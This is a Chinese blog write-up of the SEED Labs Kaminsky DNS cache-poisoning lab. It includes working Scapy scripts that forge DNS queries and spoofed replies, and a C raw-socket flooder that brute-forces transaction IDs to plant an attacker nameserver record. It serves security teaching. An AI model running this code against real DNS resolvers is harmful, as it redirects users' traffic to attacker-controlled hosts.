【Seed-Labs 2.0】The Kaminsky Attack Lab

说在前面

本实验属为Seed-Labs 的DNS LAB 中的第二个实验,是第一个实验的延伸,从攻击者和受害者同一个LAN中变成不在同一个LAN中,该系列一共有五个实验:

本实验的相关文件参见官网 Local DNS Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建

The Kaminsky Attack

关于 Kaminsky: https://en.wikipedia.org/wiki/Dan_Kaminsky

Kaminsky Attack(卡明斯基攻击)是一种针对DNS(Domain Name System)服务器的缓存中毒攻击(DNS Cache Poisoning)。这种攻击于2008年由安全研究员丹·卡明斯基(Dan Kaminsky)发现,并且具有高效性和隐蔽性,影响范围广泛。

DNS缓存的工作原理: DNS服务器通过递归查询的方式解析域名。为了提高效率,DNS服务器会缓存查询结果并将其提供给其他请求者。例如,当一个用户请求解析 example.com 时,DNS服务器会将解析结果缓存一段时间。

DNS缓存中毒的目标: 攻击者通过伪造的DNS响应,向目标DNS服务器注入恶意的解析记录。如果成功,用户请求合法域名(如 example.com)时,DNS服务器会提供错误的记录(如将 example.com 指向攻击者的IP地址)。

关键要素: DNS请求包含了一个16位的事务ID(Transaction ID, TXID),用于匹配请求和响应。缓存中毒需要满足以下条件:

  • 响应必须在合法的DNS服务器答复之前到达。
  • 响应的事务ID必须与请求匹配。
  • 域名查询必须正确(例如 example.com 的问题部分匹配)。

传统缓存中毒攻击的问题: 由于事务ID仅有16位,可能的值只有65,536种。在传统攻击中,攻击者需要猜测事务ID并伪造响应。如果事务ID不匹配,则响应会被丢弃。

Kaminsky攻击: 卡明斯基发现了一种高效的方式,通过利用DNS的递归查询特性,使缓存中毒攻击变得更容易。Kaminsky 攻击过程:

  1. 触发DNS递归查询: 攻击者向受害DNS服务器发送一个针对不存在子域的请求,例如 random1234.example.com。因为该子域不存在,目标DNS服务器会向权威DNS服务器查询。

  2. 伪造响应: 攻击者伪造来自权威DNS服务器的响应,尝试注入错误的A记录(IPv4地址)。
    例如,将 example.com 的A记录替换为攻击者的IP地址。

  3. 重复尝试: 攻击者通过快速发送大量伪造响应来覆盖所有可能的事务ID值。如果事务ID匹配且响应先到达,则恶意数据被缓存。

在这里插入图片描述

本实验将 Kaminsky 攻击过程进行拆分,Task1 进行实验环境配置,Task2 实现伪造DNS请求,Task3 实现伪造DNS响应,Task4 实现完整的Kaminsky攻击,Task5 对攻击效果进行验证。


Attack Lab

Task1:Lab Environment Setup

本实验的相关文件参见官网 The Kaminsky Attack Lab
本实验建议在官方提供的虚拟机环境中进行,可以参考 SEED-labs-ubuntu 20.04 虚拟机环境搭建

本实验需要四台独立的机器:一台用于受害者,一台用于 DNS 服务器,两台用于攻击者,如下图所示。Lab为了简化设置将四台机器放在了同一个LAN上,但是我们要忽略这一点,需将Attacker是做远程机器,即Attacker无法在LAN上嗅探数据包。

在这里插入图片描述

Container Setup

1.进入 Labsetup 文件夹,分别输入 dcbuilddcup启动实验所需的所有容器。

在这里插入图片描述

2.可以输入 dockps 查看所有的容器。

在这里插入图片描述

Testing the DNS Setup

Get the IP address of ns.attacker32.com. 在 user 容器中输入 dig ns.attacker32.com 查看查询结果。

在这里插入图片描述

Get the IP address of www.example.com.

1.在 user 容器中输入 dig www.example.com 查看查询结果。

在这里插入图片描述

2.在 user 容器中输入 dig @ns.attacer32.com www.example,com,查看查询结果。

在这里插入图片描述

Task 2: Construct DNS request

任务: 伪造DNS请求给Local DNS Server,使其向 example.com 发送DNS查询。

1.撰写伪造发送程序 task2.py 。

#!/usr/bin/python3
from scapy.all import *

Qdsec = DNSQR(qname='austin.example.com')   # 请求域名写 xxxx.example.com, xxx随意替换
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)
ip  = IP(src='1.2.3.4',dst='10.9.0.53')     # 原地址随便写,目的地址10.9.0.53
udp = UDP(sport=12345, dport=53,chksum=0)   # 原端口随便写,目的端口53

request = ip/udp/dns
send(request)

2.使用wireshark监听 Local DNS Server。运行 task2.py,发现 Local DNS Server接受到伪造的DNS 请求后,向外发送DNS请求。证明伪造成功。

在这里插入图片描述

Task 3: Spoof DNS Replies.

任务: 伪造DNS响应数据包,并发送到 Local DNS Server 上。

1.从Task2 的 wireshark 抓包结果,我们可以得到 example.com 服务器的IP地址为 199.43.135.53

2.编写 task3.py

#!/usr/bin/python3
from scapy.all import *

name= "austin.example.com"
domain = "example.com"
ns= "ns.attacker32.com"
Qdsec = DNSQR(qname=name)
Anssec = DNSRR(rrname=name, type='A', rdata='1.2.3.4', ttl=259200)
NSsec = DNSRR(rrname=domain, type='NS', rdata=ns, ttl=259200)
dns= DNS(id=0xAAAA, aa=1, rd=1, qr=1,qdcount=1, ancount=1, nscount=1, arcount=0,qd=Qdsec, an=Anssec, ns=NSsec)
ip= IP(dst='10.9.0.53', src='199.43.135.53') # src = 'example.com' DNS server‘s IP
udp= UDP(dport=33333, sport=53, chksum=0)
reply = ip/udp/dns

send(reply)

3.使用 wireshark 监听 Local DNS Server。运行 task3.py,发现 Local DNS Server接受到伪造的DNS 响应。

在这里插入图片描述

Task 4: Launch the Kaminsky Attack.

任务: 实现完整的 Kaminsky Attack。

分析: 我们如果使用 .py 文件来实现伪造并发送大量的响应包,可能会因为 .py 文件较低的运行速度而无法在真实的.example.com 的DNS服务器响应返回之前将大量的伪造响应发送至 Local DNS Server上。所以此处我们编写 .c 文件,利用 .c 文件高效的运行速度来实现伪造数据包的发送功能。同时,考虑到使用C语言创建伪造 DNS 数据包的步骤较繁琐,所以我们使用 .py 文件来简化数据包的创建过程。所以最终的 Kaminsky Attack 的实现方案为 .py + .c :

  • gen_dns_request.py - 伪造 DNS 请求包
  • gen_dns_response.py - 伪造 DNS 响应包
  • attack.c - 修改 .py 伪造的DNS 数据包,并实现数据包的发送。

1.编写 gen_dns_request.py

#!/bin/env python3
from scapy.all import *

srcIP = '10.0.0.5'  
dstIP = '10.9.0.53'  # Local DNS Server
ip  = IP (dst=dstIP, src=srcIP)
udp = UDP(dport=53, sport=50945, chksum=0)

# The C code will modify the qname field
Qdsec = DNSQR(qname='austi.example.com')
dns   = DNS(id=0xAAAA, qr=0, qdcount=1, qd=Qdsec)

pkt = ip/udp/dns
with open('ip_req.bin', 'wb') as f:
    f.write(bytes(pkt))

2.编写 gen_dns_response.py

#!/bin/env python3
from scapy.all import *

# The source IP can be any address, because it will be replaced 
# by the C code with the IP address of example.com's actual nameserver. 
ip  = IP (dst = '10.9.0.53', src = '199.43.133.53')

udp = UDP(dport = 33333, sport = 53,  chksum=0)

# Construct the Question section
# The C code will modify the qname field
Qdsec  = DNSQR(qname  = "austi.example.com")

# Construct the Answer section (the answer can be anything)
# The C code will modify the rrname field
Anssec = DNSRR(rrname = "austi.example.com",
               type   = 'A', 
               rdata  = '1.2.3.4', 
               ttl    = 259200)

# Construct the Authority section (the main goal of the attack) 
NSsec  = DNSRR(rrname = 'example.com', 
               type   = 'NS', 
               rdata  = 'ns.attacker32.com',
               ttl    = 259200)

# Construct the DNS part 
# The C code will modify the id field
dns    = DNS(id  = 0xAAAA, aa=1, rd=1, qr=1, 
             qdcount = 1, qd = Qdsec,
             ancount = 1, an = Anssec, 
             nscount = 1, ns = NSsec)

# Construct the IP packet and save it to a file.
Replypkt = ip/udp/dns
with open('ip_resp.bin', 'wb') as f:
    f.write(bytes(Replypkt))

3.编写 attack.c

#include <stdlib.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <time.h>

#define MAX_FILE_SIZE 1000000
#define QNAME_OFFSET 41
#define ANS_NAME_OFFSET 64
#define TRANS_ID_OFFSET 28

/* IP Header */
struct ipheader {
  unsigned char      iph_ihl:4, //IP header length
                     iph_ver:4; //IP version
  unsigned char      iph_tos; //Type of service
  unsigned short int iph_len; //IP Packet length (data + header)
  unsigned short int iph_ident; //Identification
  unsigned short int iph_flag:3, //Fragmentation flags
                     iph_offset:13; //Flags offset
  unsigned char      iph_ttl; //Time to Live
  unsigned char      iph_protocol; //Protocol type
  unsigned short int iph_chksum; //IP datagram checksum
  struct  in_addr    iph_sourceip; //Source IP address 
  struct  in_addr    iph_destip;   //Destination IP address 
};

void send_dns_request(unsigned char *pkt, int pktsize, char* name);
void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id);
void send_raw_packet(char * buffer, int pkt_size);

int main()
{

  srand(time(NULL));

  // Load the DNS request packet from file
  FILE * f_req = fopen("ip_req.bin", "rb");
  if (!f_req) {
     perror("Can't open 'ip_req.bin'");
     exit(1);
  }
  unsigned char ip_req[MAX_FILE_SIZE];
  int n_req = fread(ip_req, 1, MAX_FILE_SIZE, f_req);

  // Load the first DNS response packet from file
  FILE * f_resp = fopen("ip_resp.bin", "rb");
  if (!f_resp) {
     perror("Can't open 'ip_resp.bin'");
     exit(1);
  }
  unsigned char ip_resp[MAX_FILE_SIZE];
  int n_resp = fread(ip_resp, 1, MAX_FILE_SIZE, f_resp);

  char a[26]="abcdefghijklmnopqrstuvwxyz";
  unsigned short trans_id = 0;
  while (1) {
    // Generate a random name with length 5
    char name[6];
    name[5]='\0'; // Null-terminate the string
    for (int k=0; k<5; k++)  
      name[k] = a[rand() % 26];
    
    printf("Sending DNS request for name: %s\n", name); // Print the name

    /* Step 1. Send a DNS request to the targeted local DNS server.
               This will trigger the DNS server to send out DNS queries */

    send_dns_request(ip_req, n_req, name);

    /* Step 2. Send many spoofed responses to the targeted local DNS server,
               each one with a different transaction ID. */
    
    for (int i = 0; i< 500; i++){
      send_dns_response(ip_resp, n_resp, name, trans_id);
      trans_id++;
    }
    
  }
}


void send_dns_request(unsigned char *pkt, int pktsize, char* name)
{
  // Use for sending DNS request.
  
  // Step 1: replace qname with name, at offset 41
  memcpy(pkt+QNAME_OFFSET, name, 5);
  
  // Step 2: send the dns query out
  send_raw_packet(pkt, pktsize);

}


void send_dns_response(unsigned char* pkt, int pktsize, char* name, unsigned short id)
{
  //Use for sending forged DNS response.
  // the C code will modify src, qname, rrname and the id field

  // Step 1: Modify the name in the question field (offset=41)
  memcpy(pkt+QNAME_OFFSET, name, 5);

  // Step 2: Modify the name in the answer field (offset=64)
  memcpy(pkt+ANS_NAME_OFFSET, name, 5);

  // Step 3: Modify the transaction ID field (offset=28)
  unsigned short net_id = htons(id);  // htons converts to network byte order
  memcpy(pkt+TRANS_ID_OFFSET, &net_id, 2);
  
  //Step 4: send the dns response out
  send_raw_packet((char*)pkt, pktsize);
}


/* Send the raw packet out 
 *    buffer: to contain the entire IP packet, with everything filled out.
 *    pkt_size: the size of the buffer.
 * */
void send_raw_packet(char * buffer, int pkt_size)
{
  struct sockaddr_in dest_info;
  int enable = 1;

  // Step 1: Create a raw network socket.
  int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);

  // Step 2: Set socket option.
  setsockopt(sock, IPPROTO_IP, IP_HDRINCL,
	     &enable, sizeof(enable));

  // Step 3: Provide needed information about destination.
  struct ipheader *ip = (struct ipheader *) buffer;
  dest_info.sin_family = AF_INET;
  dest_info.sin_addr = ip->iph_destip;

  // Step 4: Send the packet out.
  sendto(sock, buffer, pkt_size, 0,
       (struct sockaddr *)&dest_info, sizeof(dest_info));
  close(sock);
}

4.在 Attacker 上先后运行 gen_dns_request.pygen_dns_response.pyattack.c ( .c 文件需在虚拟机上编译后再进入 Attacker运行)。运行后,进入 Local DNS Server 容器使用下面的命令查看本地缓存。发现本地缓存已成功存入 ns.attacker32.com。说明攻击成功。

# rndc dump -cache && grep attacker /var/cache/bind/dump/db

在这里插入图片描述

Task 5: Result Verification

任务: 测试 Task4 的攻击成功与否:输入 dig www.example.com 后的结果应该与 dig @ns.attacker32.com www.example.com 的结果相同。

1.输入 dig www.example.com

在这里插入图片描述

2.输入 dig @ns.attacker32.com www.example.com,发现二者结果相同,证明我们的攻击成功。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值